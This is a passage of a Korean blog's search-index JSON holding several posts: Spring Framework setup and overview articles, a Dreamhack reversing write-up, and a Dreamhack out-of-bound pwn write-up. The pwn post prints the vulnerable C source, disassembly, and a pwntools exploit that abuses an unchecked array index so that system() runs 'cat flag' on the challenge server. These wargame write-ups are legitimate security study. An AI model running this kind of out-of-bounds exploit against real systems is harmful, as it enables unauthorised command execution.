맞춰줘야 한다. jdk와 spring 버전이 특정 라이브러리 버전을 지원한다고 해도 다른 라이브러리와 버전 충돌로 인해 사용이 불가 할수도 있다. 이러한 버전관리에서 발생하는 복잡성 때문에 gradle이라는 기술이 등장해 Spring Boot에 적용되었다.\n다만 개인적으로 필자는 아직도 Maven이 익숙해 종종 사용하고 있다.\n위 xml을 보면 자바 버전이 11이고 스프링 버전에 5.3.17인 것을 볼수 있다. 기본 프로젝트를 생성하면 자바 1.6버전에 스프링 3.X버전이 기본으로 설정되어 있을것이다. 이 부분을 사용자가 자바 버전과 호환이 되는 버전인지를 확인하고 직접 전부 원하는 버전으로 수정을 해줘야 한다. 필자는 자바 11, 스프링 5.3.17버전으로 설정해 주었다.\n버전 설정은 자유지만 버전을 설정 한 후 기본적인 워크스페이스 JRE 버전 셋팅, 프로젝트 라이브러리 버전들을 잘 확인해 줘야 한다.\n이제 테스트 프로젝트를 실행해보자.\n위의 Tomcat 설정을 진행하면서 프로젝트 모듈을 Tomcat에 임포트 하는 과정이 있을 것이다. Window -\u0026gt; Show View -\u0026gt; Other 에서 Server를 클릭하면 Server 탭이 하나 열리고 추가된 서버가 보일 것이다.\n필자는 톰켓 9.0버전을 사용한다.\nTomcat v9.0 Server at localhost 부분을 더블클릭하면 다음과 같은 화면을 볼수 있다.\n여기서 추가된 프로젝트 웹 모듈을 확인할 수 있고, 혹시라도 추가되어 있지 않으면 Add Web Module을 클릭해 프로젝트를 추가해준다.\n이후 톰켓을 실행시키면 프로젝트 기본 페이지를 볼수 있다.\n","permalink":"https://dig06161.github.io/2022/03/28/make-spring-project/","summary":"\u003cul\u003e\n\u003cli\u003e\n\u003ch1\u003e스프링 부트\u003c/h1\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e스프링 부트의 경우 프로젝트 생성이 매우 쉬운 편이다.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://start.spring.io/\"\u003ehttps://start.spring.io/\u003c/a\u003e 에 들어가면 spring initializr에서 프로젝트 설정을 할 수 있고 프로젝트 이름, 패키징 방식, 자바 버전, 여러 의존성 등 여러가지 설정을 추가 한 후에 프로젝트 파일을 다운 받을 수 있다.\u003c/p\u003e\n\u003ccenter\u003e\u003cimg src=\"/img/make-spring-project/spring-boot-initializr.png\" width=\"80%\" height=\"80%\"\u003e\u003c/center\u003e\n\u003cbr\u003e\u003cbr\u003e\n\u003cp\u003e스프링 부트에 관해서는 다른 글로 다시 정리해 보겠다.\u003c/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ch1\u003e스프링 프레임워크\u003c/h1\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e스프링 프레임워크는 자체 개발도구 IDE를 제공한다. 이는 자바 IDE로 많이 알려진 Eclipse를 기반으로 하여 Spring Tools이라는 플러그인을 설치해 배포하는 방식이다.\u003c/p\u003e","title":"Spring Framework STS로 스프링 MVC 프레임워크 프로젝트 만들기"},{"content":"스프링 프레임워크란 무엇일까?\n스프링 프레임워크는 JAVA, Groovy, Kotlin으로 웹을 쉽게 개발할 수 있게 한 프레임워크이다. 기본언어로 JAVA를 지원하며, Groovy, kotlin을 지원한다. 스프링의 공식 사이트는 https://spring.io/ 이며 기본적인 개발 가이드와 다양한 프로젝트들이 기술되어 있다. 스프링의 대표적인 프로젝트로 스프링 프레임워크, 스프링 부트, 스프링 시큐리티가 있다.\n스프링 프레임워크는 Spring MVC로 MVC패턴을 이용해 Maven을 통한 의존성을 가지고 개발할수 있는 장점이 있고 상당히 오래 사용되어 오면서 5.대 버전까지 출시를 했다. 다만 단점으로 Maven을 통한 의존성을 사용할떄 버전에 대한 호환성을 장담할 수 없고 이를 개발자가 일일이 확인하고 적용하여야 했다. 또한 많은 부가 기능을 지원하는 대신 많은 설정이 필요해 초기 개발시간을 늘린다. 그리고 WAS를 링크시켜 운용해야 하는 문제가 있다.\n스프링 부트는 스프링 프레임워크의 초기 개발셋팅이 오래걸린다는 단점과 WAS를 사용해야 한다는 문제점을 해결해 나온 경량화 버전이라고 생각하면 좋을것 같다. 기본적으로 스프링 프레임워크를 기반으로 만들어진 프레임워크이다. 임베디드 톰켓이 내장되어 있고 초기 개발을 빠르게 진행할수 있게 해준다. 또 Gradle을 통해 기존에 사용하는 라이브러리 버전들과 호환되는 라이브러리를 자동으로 찾아줘 버전에 따른 충돌을 피할 수 있다. 다만 스프링 프레임워크와는 조금 다르다.\n스프링 시큐리티는 스프링 프레임워크, 스프링 부트에서 사용할 수 있는 보안 프레임워크이다. 기본적인 로그인 로직과 세션제어, XSRF 방지 토큰, 암호화 로직 등을 지원한다. 스프링 필터 레이어에서 동작하면서 비인가 사용자의 접근에는 에러 페이지를 띄워주는 등 다양한 기능을 제공한다.\nspring을 개발하기에 앞서서 자바와 톰켓이 설치되어 있어야 하며, 스프링 부트 프로젝트 사용 시에는 자바만 있으면 기본적인 구동이 가능하다.\n자세한 것은 이후 포스팅을 통해 따로 정리해 보도록 하겠다.\n","permalink":"https://dig06161.github.io/2022/03/23/what-is-spring/","summary":"\u003cp\u003e스프링 프레임워크란 무엇일까?\u003c/p\u003e\n\u003cp\u003e스프링 프레임워크는 JAVA, Groovy, Kotlin으로 웹을 쉽게 개발할 수 있게 한 프레임워크이다. 기본언어로 JAVA를 지원하며, Groovy, kotlin을 지원한다.\n\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003ccenter\u003e\u003cimg src=\"https://spring.io/images/spring-logo-9146a4d3298760c2e7e49595184e1975.svg\" width=\"80%\" height=\"80%\"\u003e\u003c/center\u003e\n\u003cbr\u003e\u003cbr\u003e\n스프링의 공식 사이트는 https://spring.io/ 이며 기본적인 개발 가이드와 다양한 프로젝트들이 기술되어 있다.\n\u003cp\u003e스프링의 대표적인 프로젝트로 스프링 프레임워크, 스프링 부트, 스프링 시큐리티가 있다.\u003c/p\u003e\n\u003cp\u003e스프링 프레임워크는 Spring MVC로 MVC패턴을 이용해 Maven을 통한 의존성을 가지고 개발할수 있는 장점이 있고 상당히 오래 사용되어 오면서 5.대 버전까지 출시를 했다. 다만 단점으로 Maven을 통한 의존성을 사용할떄 버전에 대한 호환성을 장담할 수 없고 이를 개발자가 일일이 확인하고 적용하여야 했다. 또한 많은 부가 기능을 지원하는 대신 많은 설정이 필요해 초기 개발시간을 늘린다. 그리고 WAS를 링크시켜 운용해야 하는 문제가 있다.\u003c/p\u003e","title":"Spring Framework 스프링 프레임워크란?"},{"content":"이번 문제는 드림핵 리버싱문제 rev-basic-4이다.\n우선 문제파일을 다운받으면 chall4.exe라는 프로그램이 나온다. 이 프로그램을 실행 시키면 iput : 이라는 문구와 함께 입력창이 활성화 된다. 이후 임의 문자열을 입력하면 Wrong이라는 문자열을 표시하고 종료된다.\n이제 이 프로그램을 x64디버거로 열어보자. 이 프로그램의 main부분이다 input 이후에\ncall chall4.7FF68AC31000 부분에서 문자열을 비교해 je 명령어로 Correct와 Wrong을 나눠준다.\n이부분에 bp를 걸고 쭉 진행해 임의의 문자열을 입력하고 내용을 보자.\n위와같은 함수의 어셈블리가 보여진다. 간단히 돌려보며 해석을 해보자. 일단 임의값을 \u0026ldquo;AAAAA\u0026quot;로 입력했다.\njae chall4.7FF68AC31065 위 명령어를 통해 반복문을 진행하며 한글자씩 불러 검사하는 로직이다.\n간단한 해석을 붙이면 입력받은 문자열을 AAAAA라고 했을때, 입력받은 문자열의 첫번째 글자를 오른쪽으로 4만큼 시프트 연산한 후 eax에 넣는다. 이후 입력받은 문자열의 첫번째 글자 A를 왼쪽으로 4만큼 시프트 연산 이후 F0와 AND연산 후 ecx에 넣는다. 그다음 eax와 ecx를 OR연산하여 eax에 넣고 7FF68AC33000에 위치한 문자열의 첫번째 글자를 불러 ecx에 넣는다. 이후 cmp명령어를 통해 서로 일치할 경우 jmp를 통해 두번째 문자열의 비교를 시작한다. 그러면 문자열 A를 직접 계산기를 이용해 계산해보자. A의 hex값은 41이며 이진수로 표현하면 0100 0001이다. 41를 위 계산을 통해나온 결과를 보면 0001 0100이라는 값을 가지고 있다.\n다른 숫자로 몇번 더 계산을 해보면 hex또는 2진수의 좌우를 바꿔주는것을 볼수 있다. 그러면 7FF68AC33000에 위치한 문자열들의 hex값의 좌우를 바꿔주면 쉽게 flag를 구할 수 있다.\n00007FF68AC33000 24 27 13 C6 C6 13 16 E6 47 F5 26 96 47 F5 46 27 $\u0026#39;.ÆÆ..æGõ\u0026amp;.GõF\u0026#39; 00007FF68AC33010 13 26 26 C6 56 F5 C3 C3 F5 E3 E3 00 00 00 00 00 .\u0026amp;\u0026amp;ÆVõÃÃõãã..... 위의 hex값을 파이썬을 이용해 좌우 자릿수를 바꿔보자.\na = [0x24,0x27,0x13,0xC6,0xC6,0x13,0x16,0xE6,0x47,0xF5,0x26,0x96,0x47,0xF5,0x46,0x27,0x13,0x26,0x26,0xC6,0x56,0xF5,0xC3,0xC3,0xF5,0xE3,0xE3] for i in a: b = i \u0026gt;\u0026gt; 4 c = i % 0x10 result = (c*0x10)+b print (chr(result), end=\u0026#39;\u0026#39;) print(\u0026#34;\\n\u0026#34;) 위 코드는 16진수 배열을 하나씩 불러와 자리수를 서로 바꿔준 후 아스키코드 문자열로 출력해주는 코드이다. 예를 들면 16진수 24를 42로 바꾸어 42에 해당하는 아스키코드인 \u0026ldquo;B\u0026quot;를 출력한다.\n위 코드를 돌리면 플레그 값을 얻을 수 있다.\n","permalink":"https://dig06161.github.io/2022/03/11/dreamhack-rev-basic-4-writeup/","summary":"\u003cp\u003e이번 문제는 드림핵 리버싱문제 rev-basic-4이다.\u003c/p\u003e\n\u003cp\u003e우선 문제파일을 다운받으면 chall4.exe라는 프로그램이 나온다.\n이 프로그램을 실행 시키면 iput : 이라는 문구와 함께 입력창이 활성화 된다. 이후 임의 문자열을 입력하면 Wrong이라는 문자열을 표시하고 종료된다.\u003c/p\u003e\n\u003cp\u003e이제 이 프로그램을 x64디버거로 열어보자.\n\u003cbr\u003e\u003c/p\u003e\n\u003ccenter\u003e\u003cimg src=\"/img/dreamhack-reb-basic-4/x64_main.png\" width=\"80%\" height=\"80%\"\u003e\u003c/center\u003e\n\u003cp\u003e이 프로그램의 main부분이다 input 이후에\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c++\" data-lang=\"c++\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003echall4\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF68AC31000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e부분에서 문자열을 비교해 je 명령어로 Correct와 Wrong을 나눠준다.\u003c/p\u003e\n\u003cp\u003e이부분에 bp를 걸고 쭉 진행해 임의의 문자열을 입력하고 내용을 보자.\u003c/p\u003e\n\u003ccenter\u003e\u003cimg src=\"/img/dreamhack-reb-basic-4/func_in.png\" width=\"80%\" height=\"80%\"\u003e\u003c/center\u003e\n위와같은 함수의 어셈블리가 보여진다.\n\u003cp\u003e간단히 돌려보며 해석을 해보자. 일단 임의값을 \u0026ldquo;AAAAA\u0026quot;로 입력했다.\u003c/p\u003e","title":"Dreamhack rev-basic-4 문제풀이"},{"content":"out of bound(OOB)는 버퍼의 길이를 벗어나는 인덱스를 참조하려 할때 발생할 수 있는 취약점이다. 이번 문제의 소스코드를 먼저 살펴보자.\nchar name[16]; char *command[10] = { \u0026#34;cat\u0026#34;, \u0026#34;ls\u0026#34;, \u0026#34;id\u0026#34;, \u0026#34;ps\u0026#34;, \u0026#34;file ./oob\u0026#34; }; void alarm_handler() { puts(\u0026#34;TIME OUT\u0026#34;); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main() { int idx; initialize(); printf(\u0026#34;Admin name: \u0026#34;); read(0, name, sizeof(name)); printf(\u0026#34;What do you want?: \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;idx); system(command[idx]); return 0; } main함수를 따라가면서 살펴보면 먼저 관리자 이름을 name이라는 변수에 입력 받는다. 이후 What do you want?라는 문구와 함께 어떤 작업을 실행할 것인지 int형을 scanf로 입력 받는다. 이후 입력받은 값을 idx라는 변수에 넣고 system함수를 통해 command[idx]를 실행하고 프로그램은 종료한다.\nsystem함수는 C언어 내부에서 쉘을 사용할 수 있는 기능을 제공하며 배열 10이 할당되어 있으나 scanf에서는 입력받는 크기가 제한이 없는것을 볼수 있다. 이부분을 공략하면 될 것 같다.\n일단 같이 제공된 바이너리를 peda를 통해 disas main 해보자.\n0x080486cb \u0026lt;+0\u0026gt;: lea ecx,[esp+0x4] 0x080486cf \u0026lt;+4\u0026gt;: and esp,0xfffffff0 0x080486d2 \u0026lt;+7\u0026gt; :\tpush DWORD PTR [ecx-0x4] 0x080486d5 \u0026lt;+10\u0026gt;:\tpush ebp 0x080486d6 \u0026lt;+11\u0026gt;:\tmov ebp,esp 0x080486d8 \u0026lt;+13\u0026gt;:\tpush ecx 0x080486d9 \u0026lt;+14\u0026gt;:\tsub esp,0x14 0x080486dc \u0026lt;+17\u0026gt;:\tmov eax,gs:0x14 0x080486e2 \u0026lt;+23\u0026gt;:\tmov DWORD PTR [ebp-0xc],eax 0x080486e5 \u0026lt;+26\u0026gt;:\txor eax,eax 0x080486e7 \u0026lt;+28\u0026gt;:\tcall 0x804867b \u0026lt;initialize\u0026gt; 0x080486ec \u0026lt;+33\u0026gt;:\tsub esp,0xc 0x080486ef \u0026lt;+36\u0026gt;:\tpush 0x8048811 0x080486f4 \u0026lt;+41\u0026gt;:\tcall 0x80484b0 \u0026lt;printf@plt\u0026gt; 0x080486f9 \u0026lt;+46\u0026gt;:\tadd esp,0x10 0x080486fc \u0026lt;+49\u0026gt;:\tsub esp,0x4 0x080486ff \u0026lt;+52\u0026gt;:\tpush 0x10 0x08048701 \u0026lt;+54\u0026gt;:\tpush 0x804a0ac 0x08048706 \u0026lt;+59\u0026gt;:\tpush 0x0 0x08048708 \u0026lt;+61\u0026gt;:\tcall 0x80484a0 \u0026lt;read@plt\u0026gt; 0x0804870d \u0026lt;+66\u0026gt;:\tadd esp,0x10 0x08048710 \u0026lt;+69\u0026gt;:\tsub esp,0xc 0x08048713 \u0026lt;+72\u0026gt;:\tpush 0x804881e 0x08048718 \u0026lt;+77\u0026gt;:\tcall 0x80484b0 \u0026lt;printf@plt\u0026gt; 0x0804871d \u0026lt;+82\u0026gt;:\tadd esp,0x10 0x08048720 \u0026lt;+85\u0026gt;:\tsub esp,0x8 0x08048723 \u0026lt;+88\u0026gt;:\tlea eax,[ebp-0x10] 0x08048726 \u0026lt;+91\u0026gt;:\tpush eax 0x08048727 \u0026lt;+92\u0026gt;:\tpush 0x8048832 0x0804872c \u0026lt;+97\u0026gt;:\tcall 0x8048540 \u0026lt;__isoc99_scanf@plt\u0026gt; 0x08048731 \u0026lt;+102\u0026gt;:\tadd esp,0x10 0x08048734 \u0026lt;+105\u0026gt;:\tmov eax,DWORD PTR [ebp-0x10] 0x08048737 \u0026lt;+108\u0026gt;:\tmov eax,DWORD PTR [eax*4+0x804a060] 0x0804873e \u0026lt;+115\u0026gt;:\tsub esp,0xc 0x08048741 \u0026lt;+118\u0026gt;:\tpush eax 0x08048742 \u0026lt;+119\u0026gt;:\tcall 0x8048500 \u0026lt;system@plt\u0026gt; 0x08048747 \u0026lt;+124\u0026gt;:\tadd esp,0x10 0x0804874a \u0026lt;+127\u0026gt;:\tmov eax,0x0 0x0804874f \u0026lt;+132\u0026gt;:\tmov edx,DWORD PTR [ebp-0xc] 0x08048752 \u0026lt;+135\u0026gt;:\txor edx,DWORD PTR gs:0x14 0x08048759 \u0026lt;+142\u0026gt;:\tje 0x8048760 \u0026lt;main+149\u0026gt; 0x0804875b \u0026lt;+144\u0026gt;:\tcall 0x80484e0 \u0026lt;__stack_chk_fail@plt\u0026gt; 0x08048760 \u0026lt;+149\u0026gt;:\tmov ecx,DWORD PTR [ebp-0x4] 0x08048763 \u0026lt;+152\u0026gt;:\tleave 0x08048764 \u0026lt;+153\u0026gt;:\tlea esp,[ecx-0x4] 0x08048767 \u0026lt;+156\u0026gt;:\tret 우선 집중해서 봐야할 부분은 name의 주소값과 command의 주소값인것 같다.\nname : 0x804a0ac\ncommand : 0x804a060\n각 주소값의 거리를 계산해 보면 name(0x804a0ac) - command(0x804a060) = 0x4C이다. 4C를 10진수로 변환하면 76이고 포인터 배열이 하나당 4바이트씩 할당하니 76/4를 하면 19가 나온다.\nname의 위치는 command주소로 부터 [19]만큼 떨어져 있다고 볼수 있다. 그럼 name에는 \u0026ldquo;/bin/sh\u0026quot;를 주고 idx를 19를 입력하면 될것 같다.\n여기서 조심해야 할 것이 system함수이다.\nsystem 함수는 외부 라이브러리이기 때문에 변수주소_4바이트+exec_code(인수)로 구성되어 있다고 한다. 예를 들어 system(\u0026ldquo;cat flag\u0026rdquo;); 이라는 명령어를 실행하면 메모리에는 변수주소_4바이트 + cat flag가 들어간다. 따라서 결과 리턴을 위한 name+4의 값과 cat flag를 인수로 줘야 한다.\n이제 파이썬을 이용해 익스플로잇 코드를 짜보자\nfrom pwn import * conn = remote(\u0026#34;host2.dreamhack.games\u0026#34;, 16966) print(conn.recv()) payload = p32(0x804a0ac+4) #name주소 + 4byte payload += b\u0026#34;cat flag\u0026#34; print(payload) conn.sendline(payload) print(conn.recv()) conn.sendline(b\u0026#34;19\u0026#34;) print(conn.recvall().decode(\u0026#39;utf-8\u0026#39;)) 위 코드를 실행하면 플레그 값을 얻을 수 있다. 이번 문제를 풀면서 system함수의 어셈블리 호출규약을 알아볼 필요성을 느꼈다. 좀더 공부를 하고 포스팅 내용을 보충해야 겠다.\n","permalink":"https://dig06161.github.io/2022/03/07/dreamhack-out-of-bound-writeup/","summary":"\u003cp\u003eout of bound(OOB)는 버퍼의 길이를 벗어나는 인덱스를 참조하려 할때 발생할 수 있는 취약점이다.\n\u003cbr\u003e\n이번 문제의 소스코드를 먼저 살펴보자.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c++\" data-lang=\"c++\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ecommand\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;cat\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s\"\u003e\u0026#34;ls\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s\"\u003e\u0026#34;id\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s\"\u003e\u0026#34;ps\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s\"\u003e\u0026#34;file ./oob\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ealarm_handler\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eputs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;TIME OUT\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003einitialize\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esetvbuf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e_IONBF\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esetvbuf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e_IONBF\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esignal\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSIGALRM\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ealarm_handler\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ealarm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e30\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003einitialize\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Admin name: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003esizeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;What do you want?: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esystem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecommand\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 